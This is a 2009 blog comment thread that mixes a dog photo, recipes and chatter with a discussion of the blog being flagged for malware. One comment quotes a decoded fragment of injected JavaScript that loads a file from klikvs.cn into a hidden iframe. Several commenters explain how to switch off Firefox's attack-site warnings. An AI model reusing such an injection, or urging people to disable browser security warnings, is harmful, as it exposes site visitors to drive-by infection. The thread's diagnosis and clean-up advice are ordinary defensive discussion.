We are still apparently dealing with the malware thing, and to be honest, I am at my wits end. We are flagged, but there is no malware on the site according to all the malware sites and google. A false flag, I guess. Just give it time. For now though, Lily rolling in the grass:
Muggy as all get out here, but Lily is having fun.
Also, below the fold is a new feature, a Thursday night recipe for the weekend from frequent BJ commenter Bad Horse’s Filly.
I’ve tried to tailor this to what is
fresh at this time of year. Peaches are plentiful in Colorado right
now, which is how this recipe was originally born – what to do with
all those peaches!
Here’s this weekend’s menu
(serves 4):
Grilled Pork Chops with Peach Chutney
Peas* in Butter
Couscous
Sliced Melon
Grilled Pork Chops w/Peach
Chutney:
- 4 pork chops, medium
thickness - ½ tsp crushed garlic
- salt & pepper
to taste - 2 tsp olive oil
- ½
cup Peach Chutney
Mix together garlic, salt,
pepper and oil and brush over both sides of chops. Grill over medium-high
coals for 5 to 7 minutes on one side, turn and top with ¼ of chutney
on each chop. Grill additional 5 to 7 minutes, until cooked to desired
doneness. Serve immediately, with additional chutney if desired.
Peach Chutney:
- 2 large peaches,
peeled, pitted and chopped - 4 green onions,
chopped - ½ cup golden raisins
- ¼ cup brown sugar
- ¼ cup apple cider
vinegar - ¼ tsp ground ginger
- ¼ tsp chili powder
- salt to taste
small sauce pan
Add all ingredients to sauce
pan, heat to boiling – stirring constantly, reduce heat and simmer for
30 minutes, uncovered, until slightly thickened.
Shopping list:
- 4 boneless pork
chops (medium thickness) - 2 large peaches
- 4 green onions
- 4 oz golden raisins
- 16 oz peas*
- couscous (usually
a 6 oz box works fine) - favorite melon
Also: crushed garlic, olive
oil, brown sugar, apple cider vinegar, ground ginger, chili powder
*it’s been cool enough here
for peas to still be in the garden, but if not, go for whatever is fresh
– green beans, squash or a fresh salad.
Shade Tail
Google has blacklisted you, that’s my best guess. When I visit with Safari, it keeps whining at me about how I have to see this page:
http://google.com/safebrowsing/diagnostic?tpl=safari&site=www.balloon-juice.com&hl=en
Take a look, maybe you can strangle Google until they undo it.
gnomedad
Any Firefox users have an alternative to disabling attack site warnings? I can’t find any whitelisting add-ons.
JL
Lily is a happy dog! The recipe looks great and I can’t wait to try it.
The site works for me on internet explorer. I can even comment without the site crashing Wahoo!!
JenJen
Oh, what a happy, happy girl and president of the tail-wagging club! Gawd, aren’t dogs the best?
How has she been at home… where does she sleep, does she come out from under your desk now? Judging from her expression in those photos, I’m thinking yes. :-)
Oh, and yeah, sad to report that Google Chrome still thinks this site is the devil incarnate.
lamh31
American Medical Association endorses House Democrats’ health care bill
MikeJ
Your site was compromised. It was trying to load malicious code from a site in china. Unless you added the javascript to do it, somebody has been in your system, and you need to find out what else they did.
The attack didn’t work only because the target site was already offline. That doesn’t mean that there are no other surprises hidden in your system. Check to see if your ftp logins are in the big file that’s floating around, check the mod dates on every file on your server, check the contents of every javascript file for copies of the attack, make sure there are no php files that you don’t know the purpose of, make sure your file permissions are set to something sane.
John Cole
@JenJen: she is wherever I am. Right now, underneath the desk.
She sleeps on her doggy bed on my bed.
John Cole
@MikeJ: How do you know this?
JenJen
@John Cole: Yay!! Such a big smile on my face right now. I can’t get enough of the Lily-Tunch-n-John show.
@MikeJ: Umm, holy shizz. How can you tell?
robertdsc
Happy dog is happy.
MikeJ
@John Cole: I have a copy of https://balloon-juice.com//wp-content/plugins/comment-quicktags/js_quicktags.js open in another tab from this morning. It has a line of code that it evals that reads
which translates to
It tried to load a file called jsgo.php off a server called klikvs.cn into a hidden iframe.
passerby
@gnomedad:
Taking the advice of others from another thread, I went to “Tools”, “Options”, under options I clicked the “Security” icon and then unchecked the box that said “Notify me when I’m on an attack site” or something.
Before I did that, I could get off the warning page. Now,…well so far so good.
[I’m using FF3.11 with NoScript]
John Cole
@MikeJ: So what do I do?
MikeJ
In that previous post, I had to kill the long, long single line of hex digits since it scrolled off to the right. It started with
\x76\x61\x72\x20\x73\x20\x3D\x27\x39\
Maude
In Firefox:
Tools
Options
Security
Remove check- warn of attack sites
I couldn’t get into comments before I removed the check.
The google explanation says no malware and it can send a report to the site owner.
It’s awful humid here in the Garden State.
Violet
Yay! A Lily pic! I can’t get enough Lily either. She looks the very picture of a happy dog. I’m so glad you guys found each other.
You know, if the top picture of Lily were shown on a network station, they’d pixelate her nether regions. Too shocking for the kiddos. The Today Show fuzzed out a mule p00ping today. I am not making that up.
media browski
Downloaded google chrome recently b/c IE kept getting by a crappy spammy malwarish search engine I didn’t recognize. Found out today that the search engine, Bing, is actually microsoft trying to compete. Poorly.
So lilly hasn’t rolled in anything splendid and dead today? Makes me miss my ol beagle. She loved her some rotten roll.
John Cole
@MikeJ: Can you send me a copy of that via email.
Just Some Fuckhead
Do you have any recipes for straight folks, BHF? ;)
MikeJ
Start with
http://www.prevx.com/ftplogons.asp
Check all of your logins to see if they’re in there. Even if they are not, change every login. Use good passwords. Save a recursive directory listing (long form) out somewhere you can read it at easily. Look for any modification dates that are recent, or modified files that you know you never touched.
The safest thing to do is nuke it from orbit. Save the database, maybe the graphics files, and reinstall everything from scratch, That’s a huge PITA, but it’s really the only 100% safe thing. Failing that, you need to check every js file for suspicious evals, every php file to make sure it’s not a copy of the payload they were trying to load from china.
gnomedad
@passerby:
Thanks; that’s pretty much what I did. I was hoping for something more selective. Hopefully Adblock and NoScript will keep me safe as I indulge my BJuice addiction.
gnomedad
@MikeJ:
Expert dood is expert.
passerby
@Shade Tail:
Not saying you’re wrong about this, Shade Tail, but, what’s curious to me is that those using IE report no problems. I’d cast a suspicious glance at MS rather than Google. (Isn’t MS the mommy of IE?)
Didn’t I read recently that there’s some kinda turf war between MS and Google? Just wondering.
DarrenG
John, if @MikeJ is correct, you need to follow his instructions in comment #6 above.
Also, chances are good that someone who has ftp access to the site has had their PC compromised with a trojan that’s stealing passwords and passing them on to the bad guys. Have everyone who has that level of access to the domain do a *full* colonoscopy-level scan of any PC they use to upload or modify content on balloon-juice.com.
The domain MikeJ mentioned seems to be part of the Zeus trojan/botnet network:
https://zeustracker.abuse.ch/faq.php
JL
What exactly are they teaching at C-Street? “The suit says Rep. Pickering and Creekmore-Byrd rekindled their relationship while he was a congressman, before and while living at the C-Street facility. The relationship was “completely unknown” by Leisha Pickering, as it occurred in Washington on weekdays, and the congressman would return home to his wife and five children only on weekends.”
I found this at Josh’s.
Violet
If this bad stuff has happened, what does that mean for those of us using IE who visit BJ. I’m not getting any malware messages. Do I need to check things on my computer as well?
John Cole
@MikeJ: I’ve passed this on to the webmistress. I don’t know how to do that shit.
I’m gonna drink wine instead.
Laura W
@gnomedad: You know what else? He can tell which side of a French river a grape comes from just by smelling the wine.
Serious Skills Dood.
Edit: See, John has the Serious Skills part down too! Know when to delegate, know when to drink wine.
What a joint.
passerby
@gnomedad:
Well, so far, even with all the Google ads, Google Syndication, Google whatevers blocked, the warning page was coming up anyway so, no confidence with NoScript. But, lemme know if you find a way.
JL
On Aug, 2nd, I am going to have some friends of my sons over for a barbecue. They helped me demo the bathroom that I refinished and I thought that I would treat them to a cookout. Obviously late twenties, early thirties, they probably woud enjoy steaks but I was thinking about grilled pork tenderloins. That might save on the cost but I need a good marinade to entice them. Should I just do the steaks?
I am having a glass of beringer’s cabernet sav.. not bad..
demkat620
@DarrenG: What he said. It’s most likely a trojan. There’s a whole new batch everyday.
I don’t get people who’s idea of a good time is creating viruses and wrecking other peoples stuff.
MikeJ
The site with the payload was down when balloon-juice was serving the link, so nobody should have been infected by that site through a link from here. You are probably safe.
To continue being safe, disallowing javascript would have stopped this particular variation. There could be others that work different ways.
Craig
@JL:
Brine the pork, and then stuff it. I’ve been doing a pesto/feta mixture that we like, but you can try whatever you want. To me, that’s more interesting than steak.
JL
@Craig: Pesto I have, thanks!.
MikeJ
LauraW, didja see the story on Ribeira Sacra in yesterday’s Times? Thought with you being the resident Spanish wine fan you’d be interested.
Laura W
BTW, YAY Bad Horse’s Filly!
I don’t cook, but I love fruit chutneys so I get a vicarious whatever just reading your recipe. Sounds yummy. I’d like it on chicken breasts/thighs too, probably.
Here is a hoppin’ song for you, my Kangoo Partner.
(Even though I’ve not jumped in, er, um…long time.)
http://www.youtube.com/watch?v=BgSyB5xSo2U
(What happened to all the nice shortcut buttons? Why am I being penalized when I’ve not had one problem with China or anything mal all day?)
gex
@passerby: Microsoft, like Google, has a program by which they try to identify dangerous sites and give users warnings. It’s pretty clear that whatever got into BJ today, Google discovered quickly and logged it, while MS has no clue that the ads delivered by this site were infested with malware. I worry about those who think that this is a *good* feature in IE. Eventually this will happen with malware that isn’t trying to direct you to a offline server and those happy IE users will happily become bots in some massive distributed attack.
John Cole
@gex: It wasn’t the ads. Please don’t start that rumor. You all are going to give me an ulcer with all the ad-bashing. And when you do, so help me GOD, I will take down all the ads and show you nothing but xrays of the growing ucler in my gut in the side freames.
Laura W
@MikeJ: Er, link please?
Of course not. You think I read anything of quality? I spend all my time here, for Christ’s sake.
BUT…tomorrow I am off to my favorite wine merchant to fetch a mixed case of NC (Westbend Vineyards) Viognier and Chambourcin (LOVE both) and also a case of a French Rosé I enjoyed last weekend. I was proud that I found a 10.99 French I really liked a lot.
media browski
JL,
Brine your chops in a mixture of ponzu sauce and mirin. Brine recipes abound, but I like th soy/citrus/vinegar flavor. Throw in oj and some citrus peels for good measure.
Or just throw them in tteriyaki sauce. 20 something guys will eat wood pulp if you grill it long enough
MikeJ
Laura,
http://www.nytimes.com/2009/07/15/dining/15pour.html
Asimov adds more in his blog,
http://thepour.blogs.nytimes.com/
JL
@gex: Booting up IE is no different than disabling the security icon on firefox or pressing the ignore button on the warning. I ran my virus scans both before and after. I know that’s not fool proof but sometimes you just can’t live without the pics of Lily and the fine discussion about wine.
Just Some Fuckhead
@John Cole: I have colonoscopy pics if ya wanna mix it up.
demkat620
@John Cole: John, I don’t notice the ads. Or let’s say I don’t pay attention to them. But I don ‘t work at a place that sweats this stuff. I just ignore them.
These guys know it gets to you. Just ignore the ad whining.
JL
@MikeJ: The best olive oil that I had came from Spain. Whole Foods stopped carrying it but the bottle was wrapped with gold foil and cost in the twenties. Although I buy inexpensive wine, olive oil not so much.
demkat620
@media browski: I was going to suggest a peppercorn teriyaki. It works on both steaks or pork.
JenJen
@MikeJ: Deep Thought: MikeJ is kind of a bad-ass. Mass props to all those who are good at what they do.
MikeJ
I’d much rather talk wine than crime, but one more thing for JC: anybody that has a ftp login here (you, your webmistress et al) should probably change all of you online banking etc passwords. Anything sensitive.
This message not aimed at users of this site, just the admins.
JimPortlandOR
I’m runnng IE 8 with Vista SP2, and no warning messages.
However, I always get a message from BJ site that the site must be run in ‘compatibility mode’ (whatever that means – likely that you have code/html/css that is deprecated). No other site gives me this message.
I’d suggest you contact/hire a security expert not only to find/fix the current problem, but seal up holes in server security. With your traffic load (and likelihood of ‘enemies’ because of the political content), a regular web coder/operator isn’t sufficient. An exterminator is needed, and it may cost a couple $100 to be secure.
Laura W
@MikeJ: Thanks so much! I am going to enjoy those in the morning over my French Roast when I’m fresh and rested and my comprehension and attention skills are at their peak.
Right now it just hurts to read them ‘cuz it just makes me want to go to Europe.
I’m moving into a new house right now and have been buying art I adore (cough…Renato…cough). This just came…it might be too garish for some of you, but I’m all about color.
http://www.etsy.com/view_transaction.php?transaction_id=17380531
This one also, for my bedroom yellow walls:
http://www.etsy.com/view_transaction.php?transaction_id=17248217
(These links might not work? I’m signed into my etsy purchase page and have no idea if they link thru if you’re not signed into an existing account.)
mapaghimagsik
But John, how will I find my Thai Mistresss if you take down the ads?
passerby
@gex:
I see your point gex. I quit using IE because it let anything and everything in indiscriminately. Plus, in the process of letting in everything, it ran as slow as molasses.
So then I found and fell in love with Mozilla and sometimes, when that gets unstable, I switch to GoogleChrome which has some neat features, my favorite one being the “Favorites” bar across the top of the page.
Bad Horse's Filly
@Just Some Fuckhead: Just you wait, later on I’m going to post some really manly soup for you.
@Laura W: Thank you! I’m always up for some Pointer Sisters.
So guys, this recipe is very simple to do, even if you don’t cook often. If you have questions about it, let me know.
MikeJ
Nice! Does Amazon’s “add to wishlist” button work with etsy?
passerby
@Laura W:
Love your selection of the Tuscan countrysides on etsy. I favor the one with the sailboats. I believe in color.
South of I-10
@John Cole: You had me at wine, but this cracked me up.
gex
@JL:
(Okay, trying a 3rd time to post a response, let’s see if it takes…)
I realize that. But put it this way — it wasn’t the IE users who were able to inform John that there was a problem. People who use other browsers were able to inform John, and then shut off whatever was trying to deliver the payload. And without those users telling John and the blog that, you wouldn’t have known to scan before and after visiting the blog. Unless you do that all the time.
Moreover, I was addressing not the applications (browsers), but that both Google and MS have a program by which they try to identify sites that deliver malware, create a warning list, and deliver the warnings to users. Google performed better than MS in that regard.
TuiMel
Lily’s rescue = Everybody wins!
JGabriel
@Laura W:
The javascripts for that widget were where the malware link was apparently hiding. So now they’re gone.
.
media browski
@demkat620: That too!
BTW, google chrome now hates balloon-juice, but I still love you all. Even BOB.
Bad Horse's Filly
@Laura W: Those worked and they are stunning. I have similar taste (does that suprise anyone?)
JL
@Bad Horse’s Filly: How long does the chutney last? Have you ever tried it on cream cheese and served it with crackers. Thank you so much for the recipe.
gnomedad
Birther lawsuit dismissed.
Violet
@JimPortlandOR:
Yeah, me too. It has a little icon that looks like a broken or torn piece of paper with the right corner turned down that shows I’m in “compatibility mode”, whatever that is.
JL
Gex, Mike or other techies, Why was I able to access the site through firefox earlier when others were being blocked?
Is anyone else listening to President Obama?
JenJen
Anyone watching Obama’s NAACP speech? Money.
demkat620
Um, this Barack Obama at the NAACP? Can we haz more of this pleaz? Kthnx bai!
Just Some Fuckhead
@Bad Horse’s Filly: Oh, I lurrrrve soup.
Bad Horse's Filly
@JL: First, yeah that Lily tops this thread and thanks JC for asking me to contribute menus.
JL – we tried this chutney on everything when I first made it, there was so much of it. When I recipe test I usually make small portions, but I wanted to see what it would work on, so there was a double batch. But didn’t think of cream cheese, it sounds like it would be wonderful. Refrigerated it lasts a good week, the vinegar keeps it pretty fresh.
Laura W
@passerby: I had that on my favorites list but honestly? It makes me nostalgic for my apt. over the Monterey Bay. I decided I didn’t want to drag any bittersweet nostalgia from my past life into my new life, so I went with something that I hope is in my future life.
I’m deep that way.
http://www.youtube.com/watch?v=vDPdfwrNzb8
shelley matheis
Grass, Gooooooooooooood!!
passerby
@JL:
@Bad Horse’s Filly: How long does the chutney last?
Echo JL. I was thinking of making a double batch and refrigerating it. Looks like a nice recipe, I’ve never made chutney before.
demkat620
@JenJen: Can I get an amen?
John Cole
@JenJen: I’m Obama’d out. Love the guy, but he is on my tv every night.
Although I am just politicked out. Too hot and humid. And I have a dog and a cat who are cooler.
Bad Horse's Filly
Is there an online feed to Mr. President at NAACP?
MikeJ
Are you using a version of firefox that checks the security of web sites? If you are, is it turned on (Tools->Options->Security Block reported attack sites, block forgeries)
R-Jud
@passerby:
I like the paintings as well. I also believe in color, though more for my walls than for my person. I am hoping that our 5’11”, size-11-shoe-wearing FLOTUS will inspire more stores to put out fun stuff for those of us with the same dimensions.
I am up late for the fifth night in a row following some sort of strange allergic reaction to something that has me itchy all over. GP is of the opinion that it might be polymorpous light eruption, which will totally be the name of the prog-rock band I will form as soon as this embarrassing rash subsides. My hypochondriac pal is convinced I have lupus. While I’d like to be more like Flannery O’Connor, that’s taking it a little too far.
MikeJ
Sen. Sessions (R-AL): “Senator Leahy and I are talking during these hearings, we’re gonna do that crack cocaine thing that you and I have talked about.”
JenJen
@John Cole: No prob, but this speech is a stemwinder. And my dogs and kitty are chillaxin’ while I clean-n-watch.
ETA: I can appreciate anyone who takes a nice summer sojourn from politics. But, I also have great memories of watching his NAACP speech this time last year, in Cincinnati, with 5,000 others on Fountain Square. And to think, he’s the President now, well, sometimes I still have to pinch myself. Great speech, about very relevant and different issues than his usual of late. One year later, things are still completely f’d up, but somehow, the urgency seems alleviated. I’m happy about how far we’ve come since then.
Bad Horse's Filly
@R-Jud: Is there West Nile in your area? I got an ugly purple rash when I had it, that itched like crazy. Of course by day five, there was a horrible fever….so never mind, probably not that.
R-Jud
@MikeJ: Finally, he cops to what many of us have suspected for years.
Laura W
@JenJen: AWE-SOME!!
passerby
@Laura W:
[my ability to block quote, the buttons, are not here right now]
“I went with something that I hope is in my future life.
I’m deep that way.”
I operate the same way. Create the life you want and let the other stuff go. You can’t have change without change.
BTW, here’s hoping your move goes without too much inconvenience.
John Cole
Btw, I got my fat ass into the weight room again this week for the first time in years, and I’m really curious. Why did we waterboard prisoners?
All we had to do was make them do squats and lunges and wait 48 hours.
donovong
@JL:
I used this the other night and it is wonderful. It is portioned for two wervings, so you will need to adjust accordingly.
Juice of one orange
Juice of two limes
1/8 teaspoon of cumin
1 teaspoon of oregano
1 tablespoon of minced garlic
1 tablespoon of EVOO
1 teaspoon salt
½ teaspoon pepper
Blend all ingredients until thoroughly mixed.
Marinate 2 pork chops for at least 30 minutes, up to 3 hours.
JGabriel
JL:
JL, I also use Firefox and was not blocked this morning. The most likely reason is that the bad script / malware was first identified by Google Chrome, and hadn’t propagated to the database of bad domains referenced by Firefox until this afternoon.
.
Just Some Fuckhead
@John Cole: Right? Why can’t he disappear for 7 years like the last guy and then spend every night on the teevee after the pooch has been thoroughly screwed?
Obama is boring. At least we could laugh at the last fool.
demkat620
@JenJen: I missed that guy. This is what we need. That was great. Who’s got a smoke?
Just Some Fuckhead
@John Cole:
*fans self*
Bad Horse's Filly
For JSF: Here’s your soup – manly enough for you?
This was on the afternoon news while I was getting the menu ready for today’s thread. Sounded great, so I thought I’d include it here. Slight problem – no recipe was given during the segment. After searching for the recipe for an hour, I finally contacted the reporter who did the segment and voila! I got the recipe. I personally would add a dash of lemon or limejuice, because I love a citrus zing. I have not recipe tested this, which is why I didn’t post it on my blog, but I thought you guys might enjoy and I’m going to try it this weekend. If you try it, let me know if you liked it.
Champagne Melon Soup
Serve Chilled, serves 4
1 Cup Watermelon, Seeded and Chopped
1 Cup Honeydew, Seeded and Chopped
1 Cup Cantaloupe, Seeded and Chopped
1/2 Cup Water
6 Leaves Basil, Fresh
2 Teaspoon Oregano Leaves, Fresh
1/2 Teaspoon Powdered Sugar
1/2 Cup Champagne
Salt to taste
Fresh ground Pink Peppercorn, to taste
Serrano Ham
Extra Virgin Olive Oil
Purchase enough to place about 3 hearty slices on each soup. Ask that the ham be sliced VERY thin!
Combine chopped watermelon, honeydew, and cantaloupe with the water
basil and oregano in a blender cup. Puree in the blender on high, until the mixture is smooth.
Remove soup mixture from blender, and whisk in the powdered sugar, champagne and salt. Season with the salt to your taste!
Chill the soup, to be served that day. To serve, pour soup into bowls. Grind pink peppercorn over each portion. Place sliced Serrano Ham into the center of each bowl. Generously drizzle extra virgin olive oil over each soup. Enjoy.
MikeJ
Let’s just hope he wasn’t mopping the weight room, at least if others were there to watch.
John Cole
@Bad Horse’s Filly: Champagne soup? That sounds like something the sissy French would drink.
Better call it Freedom Soup.
JL
@JenJen: I tuned in a tad late but what I heard was excellent. I loved the part where he spoke about Newt and Sharpton agreeing that education is key. President Obama can speak to the black community in a way the even Martin Luther King couldn’t. King helped paved the way and President Obama is able to take it further.
Just Some Fuckhead
Jesus, BHF, that’s gheyer than the peach chutney. Man fail.
demkat620
Okay two things, Why is Michelle Bernard wearing a napkin on tv? And who decided to let Stephen A. Smith comment on anything?
Bad Horse's Filly
@Just Some Fuckhead: I swear to gawd the Chef who made it was covered in prison tats. Must have been some kind of rehabilitation program.
R-Jud
@John Cole:
If that is your definition of torture, then http://www.crossfit.com. is the instruction manual. I am in deep, deep hurt from Wednesday’s workout.
NB: The commentariat (and the blog owners) have a distinctly wingnutty tinge. Still, I have shed 2% body fat in a month since starting to follow their program. And I’m doing scaled-down versions of many of the workouts (no pull-ups yet, sadly). I run, too, but that hadn’t been doing what I wanted.
@Bad Horse’s Filly: I was recently in the US, but not in an area with WNV. I was initially worried that I’d missed a deer tick that might have given me Lyme disease, but I would have a much more severe set of symptoms if that were the case.
Bad Horse's Filly
For anyone who cares, I’m making straight up comfort food tonight, pan fried chicken with pepper gravy. Oh, and a salad (gotta pretend I’m healthy).
passerby
@John Cole:
All we had to do was make them do squats and lunges and wait 48 hours.
And for extra cruelty, that god-forsaken exercise known as sit ups. That’ll make ’em talk.
JenJen
@demkat620: Hey, just be glad we haven’t had a Pat Buchanan sighting yet. I imagine his head was thisclose to exploding during that speech. :-)
Ha!! And I see on Hardball that Zell Miller is back! Shocker: Not an Obama fan, apparently.
Laura W
@Bad Horse’s Filly: HAM? With 3 melon soup?
That is just the grossest thing I’ve read in weeks.
The food combining purist lurkers are self-administering coffee enemas just to purge the mere image from their colons.
Seriously. Ignore JSF. Don’t rush your recipes. You were doing fine with the pork and peach chutney.
MikeJ
The foodies will survive if you call the very thinly sliced ham prosciutto. A classic with melon.
Bad Horse's Filly
@Laura W: I figured since the Chef was nice enough to let me have the recipe, I should post it like he made it, but I swear to you, no ham will ever tough my melon soup.
Just Some Fuckhead
@Laura W:
Ignore me at your own peril. Look at DougJ now: the laughingstock of BJ because he can’t capitalize his post titles.
Otherwise, ignore me.
Violet
I’m going to grill salmon on a cedar plank. Will also have brown rice, and pick a few green beans from the garden and steam them. I guess that’s healthy enough to counter the ice cream and cookies I’ve got planned for dessert.
If I could conquer my sweet tooth I’d probably be really thin. Sadly….
Maxwel
Now Firefox 3.5 gives the bad site page. I’ve turned this off. This is the 1st time I’ve run into a bad site warning.
Just Some Fuckhead
@Violet:
I have a real easy dirty rice recipe. I make it in a dirty pan.
Laura W
@Just Some Fuckhead:
Yeah, but in the end, this is a good thing. I never noticed it till you harped upon it endlessly, but you’re right. It’s a great way to differentiate between his posts and John’s at a glance, so I can just scroll scroll through DougJ’s and get right to John’s.
(KIDDING, DougJ! Fuckhead started it. Per usual.)
Just Some Fuckhead
Yeah, Doug, we’re all just kidding. That’s it.
demkat620
Top o’ the 5th, 3-0 Phils.
And Chooch with the stand up double.
Bad Horse's Filly
@Violet: I work with all guys (big manly, guys JSF – they lift 100lb solar panels onto roofs) and we were exchanging recipes. One of the guys gave me a bite of his leftover rice (from his very own recipe) – it was brown rice with qunioa, chicken broth, golden flax seed, almonds, salt and pepper. So simple, but tasted 5-star.
Just Some Fuckhead
@Bad Horse’s Filly:
Tall, too.
RevPhat
MikeJ said: var s =’990asd www=”000:klikvs.cnjsgo.php?sid=3” style=”position: absolute;overflow: hidden;height: 0;width: 0” frameborder=”0”49902asd2’;
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I prefer that with a mango chutney rather than the peach.
MikeJ
@RevPhat:
For the origins of that recipe, sweet and sour sauce would be the appropriate topping.
JenJen
@Laura W: If you’re not Lawrence O’Donneled out, flip on MSNBC. :-)
Bad Horse's Filly
I just rubbed one of my cats with fresh catnip to see what the other cats would do. I’m sure PETA will be at my door shortly.
RevPhat
MikeJ, rofl you’re definitely more witty than I.
Just Dale
To confirm what MikeJ pointed out. google chrome is definitely bitching about klikvs.cn. The full advisory can be seen
here
Bad Horse's Filly
Can I get an amen!
President Obama at NAACP: http://www.youtube.com/watch?v=NyLqlNmphvA
parksideq
The Internet remix geniuses have already got their hands on the Glenn Beck WATB meltdown from the other day. You’re welcome.
General Winfield Stuck
About malware attacks.
Probably nothing. but a month or so ago, there was a weird comment on a thread, and when I clicked on the Commenters handle, sent my virus program into a tizzy. something about some kind of worm. I wrote a comment about it in a following thread, but wasn’t responded too.
gex
Has anyone heard from our friend who was in such despair yesterday? Was it arguingwithsignposts? I hope he/she is doing okay today.
Demo Woman
I am in awe about how quickly Lily changed. Moxie was a street dog and for years would hide some of her food just in case she needed it in the future. While on hikes she would look for seeds and berries. After eight years, she now looks at me and wonders why she doesn’t have some type of goodies mixed with her dry food.
Steeplejack
@Laura W:
Nice one, sister. But . . . best Cars song evah here.
JenJen
@Steeplejack: @Laura W: Since we’re engaged in Car Wars:
http://www.youtube.com/watch?v=1o_JNTPs–Y
MikeJ
I would have said Moving in Stereo just for the mental picture of Phoebe Cates.
burnspbesq
Beckham’s return doesn’t appear to have hurt the Galaxy any. They are two-nil up on Red Bull late in the first half.
burnspbesq
Took Amazon three weeks to get me a copy of the Magos Herrera CD (probably would have gotten it faster if I had bought it direct from Sunnyside Records), but it was very much worth the wait.
Thanks for the recco, John.
Laura W
@Steeplejack: I linked that so many months ago, and Cars don’t feel fresh to me tonight. Here’s a mystery guest for you:
My dog Sam eats purple flowers. (I wish I knew how to embed without the cheat buttons.)
http://www.youtube.com/watch?v=PHcwbpuEVA4
Tonal Crow
@Violet:
Please run a full virus scan using an up-to-date scanner database. Also run a rootkit and spyware scan. Finally, try to avoid using IE for anything but Microsoft updates. Use something like Firefox instead, run it in an unprivileged user account (not “administrator”), and allow that account access only to what it needs to function.
Fern
That chutney recipe looks excellent.
Just Some Fuckhead
Here’s one of Fuckhead’s favs:
http://www.youtube.com/watch?v=vQOmW_TVPxI
It ain’t the Cars but eventually ya gotta slow down and rub uglies.
Demo Woman
@gex: He/She was on earlier this morning. It was such a long night but our friend seemed to be doing better. Hopefuly he/she is just caught in the firefox trap.
parksideq
Pat Buchanan is spewing his racist, sexist dreg on Maddow right now. I’m normally a pacifist but as a Black male college graduate, I want to kick his fucking teeth into the back of his throat for insinuating that I couldn’t finish my degree with just my brain power.
Demo Woman
@parksideq: Hey I’m a late fifties white woman and I want to kick his teeth. Rachel seems to be doing a good job. I love the dating your self line.
General Winfield Stuck
Disco is Dead!
Here is Jeff Beck and Tal Wilkenfeld (chick bassist)
with Big Block
<a href=”” http://www.youtube.com/watch?v=XV7OAWs2Q30&feature=related
for meat and tators rockers/
steve s
In the last two years I went from fat couch potato to triathlon shape. Because I’m a geek, I’ve done a lot of studying about research and fitness as part of the process. While I’m sure you generally know what you’re doing, one thing I’ve learned that researchers know but that hasn’t really made its way into the mainstream consciousness yet is that crunches are Very Bad for you. Don’t overfocus on the ‘core muscles’, and do back-static exercises like Planks and Mountain Climbers instead of exercises that flex your spine like Crunches.
Steeplejack
Right, I’ll just fuck off then, shall I?
Please accept this tatty, previously used video as a token of my apology: Chris Isaak, “Gone Ridin'”.
I’m feelin’ my rockabilly tonight. Don’t make me bring it with the Dwight Yoakam. ‘Cause I will.
parksideq
@Demo Woman: of course, I make no exclusive claim on Buchanan teeth-kicking. It’s just that the shit he stands for is equivalent to saying that my life was a lie. I have a very similar background to Sotomayor (immigrant parents, first Ivy Leager in my family, etc.) so it makes me feel like he’s aiming his invective at me personally. Le sigh.
Fortunately, his ideology is a dying breed. Now that he’s off my tv, I’m just going to brush my shoulders off and feel content with the knowledge that the Southern Strategy is deader than Bill on True Blood. They’ve lost my entire generation (not to mention my younger brother’s), and pretty much anyone else that doesn’t look like Pat.
Steeplejack
@Laura W:
You had me at “my dog Sam.” Now I’m going to have another drink and get all maudlin because you’ve made me drag out “Crystal Blue Persuasion.” ‘Cause I’m deep like that.
Don’t push me too far. I’m on the edge of teetering into Coltrane.
parksideq
Bah, I was so upset that I didn’t catch my typos. And my damn phone won’t let me edit.
Steeplejack
@JenJen:
Nice one. I see you’re in a mind-meld with MikeJ.
Laura W
@Steeplejack:
Meeeee Owwww!
Yer kinda cute and sultry when you’re pissy, ain’tcha?
Nice.
Fiery!
(If this hyper-link whatever thingey works, all props to JSF, my agent, my manager, my hair colorist, and the man who pumps botulism into my lips and eye wrinkles weekly. Love you guys!)
Steeplejack
@Laura W:
{a href=”hyperlink” rel=”nofollow”}text you want displayed{/a}
Replace braces with angle brackets. Watch out for the pesky one hiding after “displayed”.
John Cole
@burnspbesq: I think it is a great recording. Glad you like it.
maye
I made this a few days ago with a big fat Thresher Shark steak (a little over 1 lb.), but you could use any thick white fish:
— Slice fish into 1/2 inch thick medallions (depends on the fish)
— Mix equal parts soft butter, mayonnaise, grated parmesian cheese. Add a splash of lemon juice and a teaspoon of minced garlic. Blend thoroughly with a fork into a paste.
— Smear over the fish.
— Bake at 400 for 30 minutes. (or place on foil and cook in a covered grill).
Comrade Kevin
@parksideq: I believe the correct form here is to say that you want to punch him in the neck.
WDS
You are still under attack … here is a copy of what the warning said …
What is the current listing status for balloon-juice.com?
Site is listed as suspicious – visiting this web site may harm your computer.
Part of this site was listed for suspicious activity 1 time(s) over the past 90 days.
What happened when Google visited this site?
Of the 33 pages we tested on the site over the past 90 days, 4 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-07-16, and the last time suspicious content was found on this site was on 2009-07-16.
Malicious software includes 2 scripting exploit(s). Successful infection resulted in an average of 4 new process(es) on the target machine.
Malicious software is hosted on 1 domain(s), including klikvs.cn/.
This site was hosted on 1 network(s) including AS19271 (PEAK10ATL).
Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, balloon-juice.com did not appear to function as an intermediary for the infection of any sites.
Has this site hosted malware?
No, this site has not hosted malicious software over the past 90 days.
How did this happen?
In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.
Laura W
@Steeplejack:
I linked that for JSF months ago (Sorry! I am just that good and that deep!) and IIRC, he said: “What the Fuck was that shit?”
To which I say:
http://www.youtube.com/watch?v=MRn2UUKkQt8
steve s
I am. Here’s a good link for it: http://www.huffingtonpost.com/2009/07/16/obama-naacp-speahc-live-v_n_236760.html
His slight ‘black preacher’ affectations are a tiny bit annoying, but in general the content is spectacular. I’m quite proud this guy is my president. It’s like we can tell other countries, “Yes, we’ve got George Bush, and Andy McCarthy, and Glenn Beck, but look at This Guy! Ain’t he somethin’?”
Steeplejack
@Laura W:
You’re en fuego tonight. That’s practically my favorite Springsteen song. And I’m not a huge Springsteen fan. (Heresy, I know.)
I just got back from plumbing the depths of the YouTubes to dredge up this beauty: Coltrane, “Greensleeves.” Warning: Not safe for squares.
This was the highlight of my Steeplejack Jazz Christmas CD that got me removed from several Christmas card lists. Stupid phonies.
Steeplejack
@Comrade Kevin:
I can confirm that is the correct Internet tradition here.
Just Some Fuckhead
Did I say that?
